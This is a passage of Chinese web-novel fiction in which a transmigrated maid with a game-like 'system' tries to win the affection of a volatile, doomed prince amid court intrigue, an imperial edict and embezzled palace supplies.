《饲养病娇皇子后,我净化值满了》
第5章 望月之夜
逃也似的冲回自己的屋子,林晚背靠着门滑坐在地上。
手臂上的烫伤还火辣辣地疼,提醒着刚才那濒死的窒息感和云烬眼中毫不掩饰的杀意。
恐惧、绝望、被羞辱的难堪,还有对那渺茫的任务的茫然,都淹没得她无法呼吸。
眼泪不受控制地涌出来,不是委屈,更像是一种生理性的宣泄。她用力咬住下唇,尝到了一丝血腥味,才勉强将喉间的哽咽压下去。
一股强烈的呕吐感涌上喉咙。她捂住嘴,干呕了几声,却什么也吐不出来,只剩绝望在胃里不断翻搅。
不行!不能这样下去!
她猛地抬起头,胡乱抹掉脸上的泪痕。眼神里残留的脆弱被一种近乎凶狠的决绝取代。
“哭有什么用?”她在心里对自己低吼,“想想你的出租屋!想想下个月要还的花呗!想想你那个世界的阳光、奶茶、WiFi!你想永远困在这个鬼地方,或者被那个疯子掐死、被系统抹杀吗?”
不!她不想!
回家的路只有一条——刷满那个变态的好感度!阻止他自杀!
林晚扶着门板,摇摇晃晃地站起来,眼神变得异常锐利,甚至带着点破罐子破摔的狠劲,“老娘在原来的世界,什么样的甲方爸爸没见过?什么样的职场PUA没熬过?为了KPI,为了生存,什么委屈不能忍?什么气不能受?”
“云烬?呵。”她扯出一个近乎狰狞的冷笑,“就当是这辈子遇到的最难缠、最变态的终极甲方!不就是刷好感度吗?不就是当受气包吗?行!老娘奉陪到底!”
“只要能把好感度刷满,只要能活着回家,你爱怎么折腾怎么折腾!泼药?掐脖子?冷暴力?随便你!老娘忍了!”
这股近乎自虐的“豁出去”的念头,像一剂强心针,瞬间驱散了笼罩心头的阴霾。虽然前路依旧荆棘密布,虽然那个目标依旧遥不可及,但至少,她不再被恐惧压垮。
她给自己套上了一层厚厚的、名为“任务”和“回家”的铠甲。
她看向视野角落里半透明的系统面板:
【宿主:林晚】
【身份:二皇子别院·低等洒扫丫鬟】
【目标:云烬(二皇子)】
【当前好感度:0%】
【污染值:???(权限不足)】
【当前积分:200】
【任务倒计时:179天15小时42分】
“污染值?”突然多出的一行信息,让林晚顿感疑惑。
【“系统,污染值是什么?”】
【涉及核心信息,宿主权限不足。请提升好感度或完成特定任务解锁相关信息。】
权限不足!无语!
……
不过令她意外的事,从这之后,静心苑的气氛变得更加微妙。云烬对她的态度似乎……好了一点?或者说,是回到了最初那种彻底的漠视。
他没有再刻意地刁难,也没有故意找茬,只是恢复了第一次见他时的那种淡漠冰冷。甚至比最初更冷,仿佛她这个人根本不存在,连空气都不如。 【任务倒计时:178天 07小时 58分】
这天,林晚在擦拭回廊柱子时,刘嬷嬷走了过来。她看着林晚手臂上还未完全消退的红痕,叹了口气,从袖中取出一个青色小瓷瓶。
“拿着,每日早晚涂抹一次,能祛疤。”刘嬷嬷的声音温和了许多,“殿下……性子是冷了些,但并非不讲道理之人。”
“你只需谨守本分,做好自己该做的事,莫要多看,莫要多听,更莫要多言。在这静心苑,安分守己,方能长久。”
林晚接过药瓶,触手温润。她看着刘嬷嬷慈和中带着威严的脸,心中微暖,低声道:“谢嬷嬷提点,奴婢记住了。”
她犹豫了一下,还是忍不住低声问:“嬷嬷,殿下他……是不是身体一直不太好?我看他脸色总是很苍白……”
刘嬷嬷眼神瞬间变得锐利,但很快又柔和下来,只是多了几分深沉的忧虑。“殿下的身子……自有太医调理。我们做下人的,尽心伺候便是,不该问的,莫问。”
她拍了拍林晚的肩膀,语气加重,“尤其是这几日,夜里无论听到什么动静,都待在屋里,千万别出来。记住了吗?”
“是,嬷嬷。”林晚心头一跳,然后四下环顾了一圈静心苑的景象,“太医?这里怎么会有太医嘛……”
想起刚才刘嬷嬷的话,“这几日?”她抬头看了看天,一轮圆月已初具规模。望月之夜要到了?
刘嬷嬷如此郑重其事、近乎严厉的警告……让她刚刚筑起的心防又泛起一丝不安的涟漪。
然而,接下来的两天风平浪静。云烬依旧闭门不出,林晚按时送药,放下就走,不敢有丝毫停留。刘嬷嬷除了叮嘱她们夜里别出门,并无其他异常举动。
到了朔望之日,酉时送药的时辰到了。林晚端着温热的药碗,走向正屋。屋内没有点灯,一片漆黑。她轻轻敲了敲门:“殿下,药好了。”
没有回应。
她又敲了敲,提高了一点声音:“殿下?”
依旧一片死寂。
林晚的心提了起来。难道睡着了?她犹豫了一下,轻轻推开了虚掩的门。
月光透过窗户,在地上投下清冷的光斑。书案后,空无一人。软榻上,也空无一人。
云烬不在屋里!
林晚端着药碗,僵立在门口。这么晚了,他能去哪里呢?
她下意识地环顾这间空旷冷寂的屋子,目光扫过角落阴影处,仿佛那里潜藏着什么未知的恐怖。她不敢再待,慌忙放下药碗在书案上,几乎是逃也似的退了出来,紧紧关上了门。
回到自己小屋,林晚的心还在怦怦直跳,心里很多事情揉成一团,根本理不清楚。不过困意很快就袭来,林晚渐渐睡了过去。
一晚上风平浪静,什么也没有发生。
直到天边泛起鱼肚白,除了风吹过古树枯枝的呜咽,静心苑始终笼罩在一片死寂之中。紧绷的神经在黎明将至时终于松懈下来,林晚揉了揉惺忪的睡眼,自嘲地扯了扯嘴角,看来真是自己吓自己,刘嬷嬷或许只是谨慎过头了……
就在这半梦半醒的恍惚间,一声凄厉的尖叫猛地撕裂了清晨的宁静。
“啊——!”
是小翠的声音。
林晚一个激灵从床上弹坐起来,心脏狂跳,瞬间驱散了所有睡意,她赶忙冲出了房门。
小翠跌坐在她们小院门口不远处的青石板上,脸色惨白如纸,浑身抖得像秋风中的落叶,手指颤巍巍地指向正屋前方的院子中央。
“死……死……好多……鸟……”她语无伦次,牙齿咯咯作响。 林晚顺着她指的方向望去,瞳孔骤然收缩。
只见那片昨夜还光洁如镜的青石地面上,此刻竟散落着十几只乌黑的鸟尸。
是乌鸦,通体漆黑如墨,羽毛凌乱,僵硬地躺在冰冷的石板上,姿态扭曲而诡异。
它们的眼睛大多圆睁着,空洞无神地望向天空,尖喙微张,仿佛在无声地呐喊。
更令人心悸的是,有几只黑鸦的爪子死死地抠抓着地面,翅膀以一种不自然的、仿佛被巨力折断的角度摊开,像是在临死前经历了极其痛苦的挣扎。
空气中弥漫着一股难以言喻的、混合着淡淡血腥和某种……腐朽焦糊的气息。晨风拂过,带来刺骨的寒意,也吹动了那些僵硬的黑色羽毛,更添几分阴森。
离得近了,看得更清楚。这些黑鸦并非死于寻常的疾病或争斗。它们的羽毛根部,隐隐透出一种不祥的黑色纹路,像是被某种污秽的力量侵蚀过。有几只尸体的胸口处,羽毛焦黑卷曲,仿佛被无形的火焰灼烧过内部。
它们的死状,透着一股浓烈的、非自然的邪异气息。
“像……像是……替谁去死一样……”小翠带着哭腔,哆哆嗦嗦地重复着,显然被这恐怖的景象吓破了胆。
替死?林晚心头猛地一震。结合刘嬷嬷的警告,昨夜消失的云烬,以及这满地的诡异鸦尸……
一个可怕的联想瞬间成形:难道昨夜云烬并非无事发生,这些黑鸦,难道是……?
第6章 他的眼神
云烬呢?他昨夜到底经历了什么?他现在在哪里?状态如何?
小翠还瘫软在地,显然被吓破了胆。林晚强迫自己移开黏在鸦尸上的目光,转身冲向那扇昨晚虚掩、此刻依旧紧闭的正屋大门。
“殿下?”她颤抖着声音呼唤,用力推开沉重的门扉。
光线昏暗的屋内,死寂一片。书案后,空无一人。软榻上,也空无一人。和她昨夜看到的一样。
心沉到了谷底。林晚环顾四周,目光扫过每一个角落。突然,她的视线凝固在通往内室的走廊处。
那里的地上,赫然躺着一个人。华丽的宫装,散乱的珠钗,竟然是嘉贵妃!
她双目紧闭,脸色苍白如纸,额头渗出细密的冷汗,身体微微蜷缩着,仿佛在承受着巨大的痛苦,沉沉地昏迷着。
“贵妃娘娘!”林晚惊呼,心脏狂跳。云烬不知所踪,他的母亲却昏迷在这里,这到底是怎么回事?
她顾不上多想,立刻冲了过去。蹲下身,小心翼翼地探了探嘉贵妃的鼻息,还好,虽然微弱但还算平稳。她又迅速确认了整间屋子,正室、内室、卧房、书房,都没有看见云烬的身影。
林晚用尽全身力气,半扶半抱地将昏迷的嘉贵妃挪到内室的软榻上躺好。贵妃的身体冰凉,额头的冷汗却越来越多,浸湿了鬓角。林晚急忙从旁边架子上取来干净的布巾,用温水浸湿,小心翼翼地、一遍遍地擦拭着贵妃额头的汗,又替她整理好凌乱的衣衫和发髻。
【任务倒计时:174天 05小时 48分】
系统冰冷的提示音在脑海中响起,提醒着她时间的紧迫和任务的艰巨。
林晚守在榻边,看着嘉贵妃即使在昏迷中依然紧蹙的眉头和痛苦的神情,心中五味杂陈。这位深爱儿子的母亲,究竟发生了什么?云烬又在哪里?那满地的黑鸦……是否真的与他有关?
不知过了多久,一个冰冷、带着一丝沙哑的声音,毫无预兆地从她身后响起:
“谁让你进来的?”
林晚吓得浑身一颤,猛地站起身,回过头去。
只见云烬不知何时,如同鬼魅般悄无声息地出现在内室门口。他依旧穿着那身玄色锦袍,脸色比平时更加苍白,几乎透明,嘴唇也失去了血色。那双深邃的眼眸此刻布满了红血丝。
他用一只手撑着玄关站在那里,身形似乎有些微不可查的摇晃,仿佛一阵风就能吹倒。他的目光先是落在昏迷的母亲身上,那死寂的眼底似乎掠过一丝极其细微的波动,随即,他的视线便牢牢锁定了林晚。
空气仿佛瞬间凝固,她下意识地后退一步,后背抵住了冰冷的墙壁。
“奴……奴婢……”林晚的声音因为紧张而干涩,“奴婢进来送……送早膳,发现贵妃娘娘昏倒在地上……所以……”她指了指榻上的嘉贵妃,又指了指地上的位置,语无伦次地解释着。
云烬没有立刻说话。他那双布满血丝的眼睛,缓缓地从母亲苍白痛苦的脸,移向林晚手中还攥着的、为贵妃擦拭过冷汗的湿布巾,再移到林晚那张写满紧张和一丝尚未褪去的担忧的脸上。
那审视的目光锐利得仿佛要将她穿透,带着审视和怀疑,“早膳呢?”
“早……早膳……哈哈……”林晚的心跳如擂鼓,她编不下去了,原来人无助的时候也会笑。
然而,预想中的风暴并未降临。
云烬只是极其缓慢地将那噬人的目光从林晚脸上移开,重新落回母亲身上。
他盯着母亲额角被细心擦拭过的痕迹,被整理妥帖的衣襟,那眼神深处厚重的冰层,似乎被这微不足道的、来自他人的一丝暖意,撬开了一道极其细微的裂缝。
他沉默着,喉结艰难地滚动了一下,仿佛在吞咽某种滚烫的、灼烧喉咙的东西。
几息之后,他才用那沙哑疲惫、却似乎卸下了一丝暴戾的声音开口:
“辰时了。”他顿了顿,视线依旧固执地停留在母亲脸上,并未施舍给林晚半分,“药。”
“是,殿下!奴婢这就去!”林晚不敢有丝毫耽搁,立刻应声,几乎是逃也似的向屋外走去。 “以后……”云烬的声音幽幽地从身后传来,带着一种的疲惫感,“不要自称奴婢,跟之前那样就好。”
林晚的脚步猛地顿住,心头剧震!他让她改回自称?这……这意味着什么?难道自己对嘉贵妃这微不足道的照料,竟真的在他那冰封扭曲的心湖里,投下了一颗石子?
【检测到目标人物‘云烬’情绪产生波动。】
【好感度更新:+2%】
【当前好感度:-3%】
系统的提示音证实了她的猜测。+2%!虽然少得可怜,却像一道微光刺破了浓雾。
这个动辄暴戾的疯子,内心深处,竟还残留着一丝对母亲的牵绊,甚至……会因为别人对母亲的善意,而给予一丝吝啬的“宽容”?
这巨大的反差,让林晚在恐惧之余,竟生出一丝难以言喻的复杂情绪。
药汁翻滚,苦涩的气味弥漫。终于,药熬好了。她仔细滤出药汁,倒入温润的白玉碗中,端着药碗,再次走向正屋。
庭院里,清晨的阳光驱散了些许寒意。然而,当林晚走近正屋时,眼前的景象让她脚步顿住,云烬不知何时已经出来了。
他正站在那片刚刚清理过黑鸦尸体的青石板地中央,清晨的风吹动他玄色的衣袍和披散的黑发,显得他身形愈发单薄孤寂。他微微低着头,看着脚下光洁如新、仿佛昨夜今晨的恐怖从未发生过的石板地面。
林晚看不清他脸上的表情,只能看到他紧抿的、毫无血色的唇线,以及那微微颤抖的、垂在身侧的双手。他周身笼罩着一股浓得化不开的悲凉和……痛苦。
林晚端着药碗,犹豫了一下,还是小心翼翼地走上前,轻声开口:“殿下……您……是不是不舒服?要不要先回屋……”
话未说完,云烬猛地抬起头!
那双布满血丝的眼睛里,此刻翻涌着林晚从未见过的激烈情绪——有被窥见软弱的暴怒,有深不见底的痛苦,还有一丝……脆弱。那复杂的目光狠狠地射向林晚。
“滚!”
伴随着一声压抑着狂怒的低吼,云烬猛地一挥手。
“啪嚓!”
林晚手中的白玉药碗应声而飞,狠狠砸在旁边的廊柱上,瞬间碎裂。滚烫的药汁四溅开来,在地面和柱子上留下深褐色的污痕。
林晚僵在原地,看着地上碎裂的瓷片和流淌的药汁,手臂上被烫伤的地方似乎又在隐隐作痛。她抬头,对上云烬那双燃烧着混乱火焰的眼睛,那里面只有一片冰冷的、拒人于千里之外的颤抖。
【检测到目标人物‘云烬’情绪剧烈波动(被窥探/烦躁)。】
【好感度更新:-5%】
【当前好感度:-8%】
系统的提示音冰冷地响起。
云烬看也没看地上的狼藉,更没看僵立的林晚,仿佛刚才失控的并非他自己。
他猛地转身,玄色的袍角在空中划过一个凌厉的弧度,大步流星地走回了那扇沉重的正屋大门内。
“砰!”
门被重重关上,发出沉闷的巨响,彻底隔绝了内外。
只留下林晚一个人,站在狼藉的药汁和碎裂的瓷片中间,晨风吹过,带来刺骨的寒意和残留的苦涩药味。
她看着紧闭的门,又低头看了看系统面板上【-8%】的好感度,心中一片茫然。 刚才那双复杂的眼神,他到底……在痛苦什么?又在愤怒什么?
第7章 皇城的荣华向来吃人
晨风带着药汁的苦涩和深秋的寒意,吹拂着林晚僵立的身影。碎裂的白玉瓷片散落在深褐色的污渍里,像一地破碎的星辰。系统面板上那刺眼的【-8%】像一块冰冷的巨石,沉甸甸地压在她的心头,压得她几乎喘不过气。
他到底在痛苦什么?又在愤怒什么?那满地的黑鸦,昏迷的贵妃,他眼中深不见底的悲凉和瞬间爆发的戾气……所有的线索在她脑中混乱地纠缠,却找不到一个清晰的线头。
就在这时,静心苑那扇沉重的黑檀木大门外,突然传来一阵尖细而极具穿透力的声音,打破了庭院死水般的沉寂:
“圣旨到——!嘉贵妃娘娘接旨——!”
这声音如同投入湖水的石子,瞬间激起了涟漪。林晚猛地回过神,圣旨?给嘉贵妃的?
正屋门内似乎有短暂的寂静,随即,门被从里面猛地拉开。
云烬的身影再次出现,他小心翼翼地搀扶着嘉贵妃,脸上的暴怒和混乱似乎被强行压了下去,只剩下一股深深的疲惫。
他的脸色依旧苍白,嘴唇紧抿成一条直线。他没有看林晚,仿佛她只是庭院里的一根柱子。
嘉贵妃显然刚刚从昏迷中苏醒不久,脚步虚浮,身体大半重量都倚靠在云烬身上。华丽的宫装有些凌乱,发髻上的珠钗也歪斜着,脸色苍白如纸。
但那双眼睛,虽然带着病态的虚弱,此刻却燃烧着一种惊疑不定的火焰。
母子二人走到庭院中央。云烬扶着嘉贵妃,缓缓地跪了下去。嘉贵妃的身体微微颤抖,在云烬的支撑下勉强维持着跪姿,目光死死地盯着紧闭的苑门。
林晚早已退到廊柱的阴影里跪下,屏住呼吸,大气不敢出。
沉重的苑门被推开,一个身着深紫色宦官服侍的老太监手持一卷明黄圣旨,在一队小太监簇的拥下,昂首走了进来。
他目光扫过跪在地上的母子,又掠过庭院角落狼藉的药汁和碎瓷,神情平淡无波。
“嘉贵妃,接旨。”老太监的声音不高,却带着不容置疑的威严。
云烬扶着母亲,深深叩首。
老太监展开圣旨,用他那特有的、抑扬顿挫的嗓音宣读:
“奉天承运,皇帝诏曰:贵妃金氏,温良恭俭,淑德含章,侍奉朕躬,克尽勤勉。抚育皇子,慈爱有加。今仰承皇太后慈谕,特晋封皇贵妃,赐金册宝印,位同副后。钦此——!”
“皇贵妃”三个字如同惊雷,在寂静的庭院中炸响。
林晚心头剧震。皇贵妃,位同副后,这是何等的荣宠!可……这里又不是皇宫,即便位同副后又有何用?
然而,预想中的谢恩声没有响起。
跪在地上的嘉贵妃,身体猛地一颤。她霍然抬起头,苍白的脸上没有半分喜色,反而瞬间被一种极致的愤怒和屈辱所覆盖。那双原本带着病弱和惊疑的眼睛,此刻燃起了熊熊怒火,几乎要喷薄而出。
“皇贵妃?”她的声音尖锐得刺耳,带着难以置信的嘲讽和滔天的恨意,“哈哈……皇贵妃?!”
在所有人惊愕的目光中,她猛地挣脱了云烬搀扶的手,摇摇晃晃地站了起来。她一把夺过旁边小太监手中捧着的、象征皇贵妃身份的金册宝印。
“啪嚓——!!!”
一声刺耳的、令人心胆俱裂的碎裂声响起!
嘉贵妃用尽全身力气,将那份代表着无上荣耀的宝册,狠狠摔在了地上。黄金的册页扭曲变形,珍贵的宝石四散崩飞,在青石板上弹跳滚动,发出清脆的声响。
“皇城的荣华……吃人啊!”嘉贵妃指着地上的宝册碎片,对着宣旨的太监,更像是要透过他对着那深宫中的帝王嘶声力竭地怒骂,声音愤怒而颤抖,“上次那道旨意,允了我烬儿自请的半年之约!允了他在这静心苑等死!现在又跑来册什么封?打一巴掌再给一个蜜枣吗?!”
“回去告诉皇上,本宫什么都不要!本宫不稀罕!本宫只要我的烬儿活着!”
她声嘶力竭,字字泣血,华丽的宫装因剧烈的动作而更加凌乱,散落的发丝贴在汗湿的额角,整个人濒临崩溃。 云烬跪在一旁,死死低着头,紧握的双拳指节捏得发白,身体微微颤抖,却始终没有出声阻止母亲。
庭院里死一般的寂静。只有嘉贵妃粗重的喘息,地上散落的珠宝碎片折射出的冰冷光芒。
宣旨的老太监脸上没有露出丝毫意外,仿佛早已预料到这一幕。他挥了挥手,示意身后被惊呆的小太监们去捡拾碎片。他上前一步,对着近乎疯狂的嘉贵妃,用一种平板无波的语调说道:
“娘娘息怒。圣上口谕:朕知你爱子心切,必会因册封之事迁怒于朕,损毁宝册。此罪,朕已赦免。”
他顿了顿,目光扫过跪在地上的云烬,又回到嘉贵妃脸上,声音压低了几分,却带着更重的分量:
“圣上还说,望娘娘……谨言慎行。一切,以大局为重。”
“大局为重”四个字,像一根钢针,狠狠扎进嘉贵妃的心里,也扎进了阴影里林晚的耳中。
嘉贵妃像是被抽干了所有力气,踉跄着后退一步,惨笑出声,笑声里充满了无尽的悲凉和绝望:“大局……好一个大局为重……哈哈……”
她笑着,眼泪却汹涌而出,顺着苍白的脸颊滑落。
云烬立刻起身,再次扶住摇摇欲坠的母亲。他的动作依旧沉默,只是那扶住母亲手臂的手指,用力到骨节颤抖。
林晚站在阴影里,心中的震惊如同海啸般翻涌,几乎要将她淹没。
半年之约!竟然是皇帝亲自下旨允诺的!
这个认知带来的冲击,远比看到嘉贵妃摔碎宝册更让她震惊。之前偷听到的只言片语里,只提到“钦天监”和“半年后”,她一直以为是钦天监主导了对云烬的处理。
可现在,圣旨和太监的口谕,清晰地指向了这一切的源头——那位高高在上的帝王!
为什么?云烬是他的亲生儿子!一个皇子!皇帝为什么要亲自下旨,允许钦天监在半年后取走自己儿子的性命?
这所谓的“大局”,到底是什么?难道仅仅因为云烬是所谓的“容器”?一个容器,就值得一位父亲亲手签署儿子的死亡判决书吗?
迷雾非但没有散去,反而变得更加浓重、更加深不可测。
权力的阴影、皇家的冷酷、以及那被反复强调的“大局”,像一张无形的巨网,将静心苑、将云烬、将嘉贵妃,甚至将她自己,都牢牢地笼罩在其中。
老太监看着悲愤欲绝的嘉贵妃和沉默如石的云烬,微微躬身:“圣旨已宣,口谕已至。宝册修缮完毕后自会送回,奴才告退。”
他如来时一般,悄无声息地退出了静心苑。
第8章 这屋内的洒扫,也归你
老太监走后,庭院里,只剩下破碎的宝册、冰冷的药渍、绝望的母亲和沉默的儿子。
云烬扶着几乎虚脱的嘉贵妃,转身,一步一步,极其缓慢地走向内室。他微微侧过头,用余光看了一眼跪在阴影里的林晚,没有说话。
他的背影在惨淡的阳光下,显得那么单薄,那么孤寂,仿佛承载着整个世界的重量,随时都会垮塌。
嘉贵妃在静心苑休息了将近一个时辰,这段时间内,母子俩再说了什么,没有人知道。
直到临近午时,嘉贵妃才从屋内出来,朝着静心苑的大门方向准备离开。
此时的她,已经衣冠整齐,已经恢复了贵妃的仪态万千,神情淡然自若,仿佛上午的事情没有发生过一样。
走在青石板上,嘉贵妃的脚步微微迟钝了一下,朝着林晚忙碌的药房这边深深地看了一眼,不知道在想什么
林晚在药房专注地控火煎药,并没有注意到嘉贵妃这不明所以的一望,只听见静心苑的大门被打开,心里只晓得应该是嘉贵妃离开了。
【任务倒计时:174天 01小时 15分】
药汁滤入白玉碗,林晚端起药碗,去给云烬送药。
推开门,光线昏暗。云烬坐在紫檀木书案后,背脊挺直,手握一支笔。
但他的状态极糟:握笔的手指骨节凸起泛白,微微颤抖,仿佛攥着烧红的烙铁。
额角、鬓边渗出细密冷汗,顺着他的侧脸滑落,在玄色锦袍上晕开圆点。
他像一张拉满的弓弦,浑身绷得好紧好紧,似乎在对抗着痛苦。
林晚的心揪得紧,她端着药碗,轻缓地走到书案旁,目光扫过一叠干净的素白布帕。
她用空着的那只手拿起最上面一块,平稳地放在离云烬紧握笔杆的右手不远处,一个他稍动手指就能轻易够到的位置。
然后,她将药碗放在书案另一侧的安全处,迅速后退几步,垂手低头站定。整个过程无声无息,将自己缩成一个背景板。
寂静的屋子里,只有云烬压抑的呼吸和笔杆被握紧发出的细微的“咯吱”声。
不知过了多久,那只手僵硬地松开笔,“啪嗒”一声掉落在纸上。
他苍白的手,颤抖着伸向布帕,指尖触碰到棉布,停顿一瞬,然后一把将其抓起,轻轻擦拭布满冷汗的额头。
【检测到目标人物‘云烬’情绪产生波动。】
【好感度更新:+5%】
【当前好感度:-3%】
+5%!林晚心跳加速。
印证了——他需要的是这种无声、不越界的“看见”和“给予”。
云烬用布帕捂着额头,深深吸气又吐出。放下布帕时,脸色依旧惨白,额头微红,但他身上的痛苦似乎被强行压下些许。
他将湿布帕丢在案角,目光终于第一次真正地,带着正视的审视,落在了林晚身上。
“药。”云烬的声音沙哑低沉。
林晚上前一步,手指了指放置药碗的位置,示意药在这里。
云烬端起药碗,皱眉一饮而尽,然后猛的一下,将空碗重重砸到桌上,发出“咚”的一声。 “你……”他看着林晚,话到嘴边顿住,看起来像是在斟酌,这在以往几乎是不可能的事情。
林晚垂眼静立,保持沉默,等待他可能的吩咐或斥责。
“今日……”云烬再次开口,带着一丝迟疑,“庭院……清理得尚可。”
林晚躬身屈膝行了一礼,表示感谢云烬的认可,但依旧保持沉默。
云烬眉头微蹙,这种滴水不漏的恭敬,让他感到一种莫名的……烦躁?
上午那个在庭院里被他吓得僵立、眼神茫然的丫鬟,此刻仿佛戴上了一副完美的面具。
“你,”他盯着她低垂的眉眼,声音沉下,“为何不说话?”
林晚抬头,目光平静迎上他的审视:“回殿下,刘嬷嬷教导,在皇子身边,需谨言慎行。奴婢不敢多言,恐扰殿下清净。”
云烬目光骤然锐利如冰针,他听懂了,她在用刘嬷嬷的话,用上午皇帝那“谨言慎行,以大局为重”的口谕回应他。是控诉?还是在自保划界?他发出一声冷哼。
空气凝固。云烬看着林晚平静的脸、手臂未消的烫伤痕迹、眼中刻意的疏离,一股说不清的情绪堵在胸口。他猛地移开视线,重新拾起那支笔。
“出去。”他冷声道,声音恢复了惯常的冰冷。
“是,殿下。”林晚如蒙大赦,上前麻利收拾空药碗和那块被他丢弃在一旁、沾满冷汗的布帕,端起托盘走向门口。
就在她即将推开门的那一刻,身后冰冷的声音再次响起,带着命令口吻,却似有极细微的松动:
“以后……”云烬的声音顿住,笔尖在纸上划出短促而用力的一横,“……这屋内的洒扫,也归你。”
林晚脚步猛地顿住,背对云烬,瞳孔收缩。
屋内洒扫?这意味着……她可以名正言顺地进入这间屋子了?可以更近距离地观察他?那岂不是有更多的机会了解他,方便以后对症下药,好感值猛猛涨!
想到这里,林晚心里窃喜。
【恭喜完成隐藏任务:关键区域准入。】
【恭喜宿主解锁新身份:正室洒扫(特许)。】
【奖励积分:1000】
【当前积分:1200】
甚至……还可能有机会接触到更多关于他身上的秘密,林晚心里小心地盘算着。
她强压下心头的激动,缓缓转过身,对着书案后那个依旧低着头、仿佛刚才只是随口吩咐了一件微不足道的小事的身影,深深地、无比恭顺地回了一礼:
“是,殿下。”
她推开门,走了出去,再将门轻轻合拢。站在廊下,午后的阳光带着一丝暖意落在身上,驱散了方才的阴寒。林晚低头看着托盘里那只空了的白玉碗,还有那块被汗水浸透的布帕。
她只觉得今天经历了太多事情,皇室的秘密、云烬的秘密,迷雾越来越多了。但是总的来说,对于好感值这件事来讲,一切都在往好的方向发展!
第9章 从未有过的鲜活
晨光透过雕花木门,在静心苑正屋的地板上投下斑驳的光影。
林晚端着水盆和抹布,深吸一口气,推开了那扇曾让她无数次屏息的黑檀木们。
这是她获得“正室洒扫”资格后,第一次真正大大方方地走进来,不必像之前送药时那般如履薄冰。
屋内的陈设映入眼帘,与她想象中皇子居所的奢华大相径庭。这里完全没有金碧辉煌的装饰,物品架上也没有各式各样的珍宝。
紫檀木的书案、圈椅、书架,线条简洁流畅,木质温润,打磨得光滑,透出一种内敛的贵重。
博古架上零星地摆放着几件素雅的瓷器,釉色纯净,造型古朴。
就连墙上悬挂的,也是简简单单的山水画,笔意疏淡,意境悠远。
整个空间空旷、洁净,甚至显得有那么些冷清,但是却透着一种精心打理的雅致。
“心思……竟然如此细腻?”林晚心中惊讶,这与那个动辄摔碗、瞪眼冷语的二皇子形象,形成了一种鲜明的割裂感。
她放下水盆,目光不由自主地被周围的细小物件吸引。
在她面前的桌案上,文房四宝摆放地一丝不苟,镇纸压着一叠素笺。
旁边,放着一本深蓝色封皮的册子,看起来颇为厚实。
在好奇心的驱使下,她小心翼翼地拿起那本册子。封面上没有任何题字,她翻开内页,娟秀却有点冷硬的字迹映入眼帘,这是云烬的笔迹。
而且,这竟然是一本账册。
不过这并非是寻常记录流水的账册,而是一份详尽的物资接收记录。
「胤历十七年,三月初五,内务府拨:银丝炭一百斤,实收二十二斤;贡米十石,实收三斗五升;锦缎二十匹,实收七匹;药材(人参、灵芝等)五匣,实收两匣,品相次等……」
「三月初八,御膳房例份:鲜果十篓,实收两篓半,多有磕碰;鹿肉五十斤,实收十九斤;时蔬……实收不足四成……」
「三月十四,尚衣监制夏衣十套,实收三套,料子以次充好……」
「……」
林晚一页页翻下去,触目惊心。
从日常用度的柴米油盐、衣料布匹,到珍贵的药材、贡品,乃至份例内的食材、衣物,每一次从皇宫里运往这座别院,都有着明目张胆的克扣和贪污。
而最后能真正运抵别院的物资,竟然只有原数的四分之一!
林晚的手指微微发抖,她早就料到云烬的处境艰难,幽居这远离深宫的别院,却没想到连最基本的生存用度,都被肆无忌惮地克扣。
那些蛀虫,仗着天高皇帝远,竟敢这样侮辱一位皇子!
一股难以遏制的怒火猛地冲上林晚的心头。
“岂有此理!”她忍不住低声怒斥,声音满是愤怒,“简直欺人太甚!一群狗眼看人低的东西!凭什么?就因为他住在这里,不是皇宫?就因为他……”
她气得胸口快速起伏,捏着账册的手指都有些泛白,恨不得立刻找到那些蛀虫理论一番。
“谁准你动我的东西?”
一个冰冷的声音,毫无征兆地在她身后响起。
林晚浑身一僵,刚才的怒火一瞬间被冷水破灭一般,手中的账册“啪嗒”一声掉落在桌案上。 云烬不知何时悄无声息地站在了门口,逆着光,一身白衣的他仿佛融入了那道光里。
他脸上没有任何表情,双眼深不见底的眸子,此刻正牢牢地锁定在林晚的身上,带着一点点的不悦。
“殿……殿下”,林晚的心瞬间提到了嗓子眼,慌忙屈膝行礼,声音带着掩饰不住的慌乱。
“奴婢……奴婢只是在擦拭桌案,见……见册子放在这里,一时……一时好奇……”
“好奇?”云烬缓步走近,步履无声,压迫感却一点点靠近。
他停在桌案前,目光扫过那本摊开的账册,又落回林晚因紧张和愤怒而微微涨红的脸上。
“无论在哪家店铺,还是在哪位妃嫔的宫里,账册都是绝密。”
他的声音不高,甚至算得上平静,却字字带着刺骨的寒意,像细密的冰针扎进林晚的耳膜。
“窥探主家的账目,轻则杖责驱逐,重则……”他微微停顿,目光掠过林晚纤细的脖颈和紧抿的唇,让林晚感受到了一股冰冷的威胁。
“拔舌断手。这点规矩,刘嬷嬷没有教过你?”
她的头垂得更低了,冷汗浸湿了内衫。她知道自己犯了忌讳,而且是极大的忌讳。在等级森严的古代,窥探主人的隐私,尤其是设计银钱物资的账目,后果不堪设想。
然而,方才翻看账册时涌起的强烈愤怒,此刻竟然压过了恐惧。
她猛地抬起头,眼中未熄的怒火重新燃烧起来,声音因为激动而有些发颤:
“规矩奴婢知道……奴婢认罚!但是殿下,”她指着那本账册,指尖都有点发抖,“他们……他们怎么敢这样?您是堂堂皇子,是皇室血脉!他们克扣您的份例,中饱私囊,简直无法无天!这哪里是克扣,分明是骑在您的头上作威作福!”
“还有皇宫里的那个……”她差点脱口而出“恶毒的爹”,硬生生刹住,憋得脸颊更红,“他们凭什么这么对您和皇贵妃娘娘?!”
林晚越说越激动,小脸气得鼓鼓的,像只炸了毛的河豚,眼中全是为云烬鸣不平的愤慨,还有一丝她自己都未察觉到的心疼。
云烬静静地看着她,少女因为愤怒而显得格外明亮的眼睛,甚至害渗出了一点点泪光。因为激动而剧烈起伏的胸膛,还有那毫不掩饰的,为他打抱不平的激动模样……
一丝极其陌生的情绪在他心里荡开——并非感动,更像是一种被“活着”的气息猝然冲击的错愕,这是静心苑从未有过的鲜活。
【检测到目标人物‘云烬’情绪产生波动。】
【好感度更新:+5%】
【当前好感度:2%】
系统的提示音突然响起。
这突如其来的好感度提示音,让林晚满腔的怒火瞬间卡壳,愕然地看着眼前的云烬。
而云烬自己,也被那丝陌生的感觉触动惊了一下。他几乎是本能地迅速收敛了自己的情绪波动,重新筑起那道墙。他移开视线,不再看林晚,语气平淡:
“这与你何干?”
“当……当然有关系了,”林晚回过神来,立刻回应,“奴婢是……是静心苑的一份子,自然事事要以静心苑为主,如果您有什么意外,奴婢就回……”,她差点脱口而出的“回不了家”赶忙收住。
“奴婢也会担心的!”
